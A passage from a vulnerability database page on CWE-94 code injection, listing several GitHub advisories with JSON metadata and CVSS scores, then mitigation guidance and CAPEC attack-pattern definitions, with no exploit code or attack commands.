      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-2079"
    },
    {
      "type": "WEB",
      "url": "https://code-white.com/blog/2015-05-cve-2015-2079-rce-usermin"
    },
    {
      "type": "WEB",
      "url": "https://code-white.com/public-vulnerability-list"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9WGF-H5V2-X9X7

Vulnerability from github – Published: 2023-07-28 15:30 – Updated: 2024-04-04 06:25
VLAI
Details

bboss-persistent v6.0.9 and below was discovered to contain a code injection vulnerability in the component com.frameworkset.common.poolman.util.SQLManager.createPool. This vulnerability is exploited via passing an unchecked argument.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-39016"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-28T15:15:13Z",
    "severity": "CRITICAL"
  },
  "details": "bboss-persistent v6.0.9 and below was discovered to contain a code injection vulnerability in the component com.frameworkset.common.poolman.util.SQLManager.createPool. This vulnerability is exploited via passing an unchecked argument.",
  "id": "GHSA-9wgf-h5v2-x9x7",
  "modified": "2024-04-04T06:25:00Z",
  "published": "2023-07-28T15:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39016"
    },
    {
      "type": "WEB",
      "url": "https://gitee.com/bboss/bboss/issues/I7MH08"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9WPQ-3W4J-985Q

Vulnerability from github – Published: 2026-02-13 00:32 – Updated: 2026-02-27 21:31
VLAI
Details

ClamAV ClamBC bytecode interpreter contains a vulnerability in function name processing that allows attackers to manipulate bytecode function names. Attackers can exploit the weak input validation in function name encoding to potentially execute malicious bytecode or cause unexpected behavior in the ClamAV engine.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-37167"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-12T23:16:08Z",
    "severity": "HIGH"
  },
  "details": "ClamAV ClamBC bytecode interpreter contains a vulnerability in function name processing that allows attackers to manipulate bytecode function names. Attackers can exploit the weak input validation in function name encoding to potentially execute malicious bytecode or cause unexpected behavior in the ClamAV engine.",
  "id": "GHSA-9wpq-3w4j-985q",
  "modified": "2026-02-27T21:31:19Z",
  "published": "2026-02-13T00:32:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37167"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Cisco-Talos/clamav/commit/cd2f2975b93277de7f74464d48adb378375a305f"
    },
    {
      "type": "WEB",
      "url": "https://www.clamav.net"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/47687"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/clamav-clambc-clambc-executable-regular-expression"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/clamav-clambc-clambc-executable-regular-expression-error"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9WR2-HQP2-7RF5

Vulnerability from github – Published: 2022-05-24 16:53 – Updated: 2024-04-04 01:38
VLAI
Details

SAP Commerce Cloud (Mediaconversion Extension), versions 6.4, 6.5, 6.6, 6.7, 1808, 1811, 1905, allows an authenticated Backoffice/HMC user to inject code that can be executed by the application, leading to Code Injection. An attacker could thereby control the behavior of the application.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-0343"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-08-14T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "SAP Commerce Cloud (Mediaconversion Extension), versions 6.4, 6.5, 6.6, 6.7, 1808, 1811, 1905, allows an authenticated Backoffice/HMC user to inject code that can be executed by the application, leading to Code Injection. An attacker could thereby control the behavior of the application.",
  "id": "GHSA-9wr2-hqp2-7rf5",
  "modified": "2024-04-04T01:38:50Z",
  "published": "2022-05-24T16:53:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0343"
    },
    {
      "type": "WEB",
      "url": "https://launchpad.support.sap.com/#/notes/2786035"
    },
    {
      "type": "WEB",
      "url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=523998017"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9WRG-V9P9-P326

Vulnerability from github – Published: 2022-05-17 01:11 – Updated: 2022-05-17 01:11
VLAI
Details

Unrestricted file upload vulnerability in process-upload.php in ProjectSend (formerly cFTP) r100 through r561 allows remote attackers to execute arbitrary PHP code by uploading a file with a PHP extension, then accessing it via a direct request to the file in the upload/files/ or upload/temp/ directory.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-9567"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-01-07T18:59:00Z",
    "severity": "HIGH"
  },
  "details": "Unrestricted file upload vulnerability in process-upload.php in ProjectSend (formerly cFTP) r100 through r561 allows remote attackers to execute arbitrary PHP code by uploading a file with a PHP extension, then accessing it via a direct request to the file in the upload/files/ or upload/temp/ directory.",
  "id": "GHSA-9wrg-v9p9-p326",
  "modified": "2022-05-17T01:11:53Z",
  "published": "2022-05-17T01:11:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9567"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/99548"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/show/osvdb/116469"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/129759/ProjectSend-Arbitrary-File-Upload.html"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/35424"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/35660"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9WVX-WM4C-R47F

Vulnerability from github – Published: 2022-05-01 07:26 – Updated: 2022-05-01 07:26
VLAI
Details

The spell checking component of (1) Asbru Web Content Management before 6.1.22, (2) Asbru Web Content Editor before 6.0.22, and (3) Asbru Website Manager before 6.0.22 allows remote attackers to execute arbitrary commands via an unspecified parameter that is not sanitized before Aspell is invoked.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2006-5258"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2006-10-12T22:07:00Z",
    "severity": "MODERATE"
  },
  "details": "The spell checking component of (1) Asbru Web Content Management before 6.1.22, (2) Asbru Web Content Editor before 6.0.22, and (3) Asbru Website Manager before 6.0.22 allows remote attackers to execute arbitrary commands via an unspecified parameter that is not sanitized before Aspell is invoked.",
  "id": "GHSA-9wvx-wm4c-r47f",
  "modified": "2022-05-01T07:26:37Z",
  "published": "2022-05-01T07:26:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2006-5258"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/fulldisclosure/2006-10/0306.html"
    },
    {
      "type": "WEB",
      "url": "http://editor.asbrusoft.com/page.php/id=727"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22344"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22353"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/22472"
    },
    {
      "type": "WEB",
      "url": "http://wcm.asbrusoft.com/page.php/id=791"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/20544"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/4004"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/4060"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2006/4061"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9WW8-P9MV-XGQX

Vulnerability from github – Published: 2023-05-15 15:30 – Updated: 2024-04-04 04:07
VLAI
Details

An issue found in FLIR-DVTEL version not specified allows a remote attacker to execute arbitrary code via a crafted request to the management page of the device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-29861"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-15T15:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "An issue found in FLIR-DVTEL version not specified allows a remote attacker to execute arbitrary code via a crafted request to the management page of the device.",
  "id": "GHSA-9ww8-p9mv-xgqx",
  "modified": "2024-04-04T04:07:14Z",
  "published": "2023-05-15T15:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29861"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Duke1410/CVE/blob/main/CVE-2023-29861"
    },
    {
      "type": "WEB",
      "url": "https://woolly-espadrille-ed5.notion.site/The-FLIR-DVTEL-camera-device-has-a-logic-flaw-vulnerability-363a2158e372440b80a2be739271c6f3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.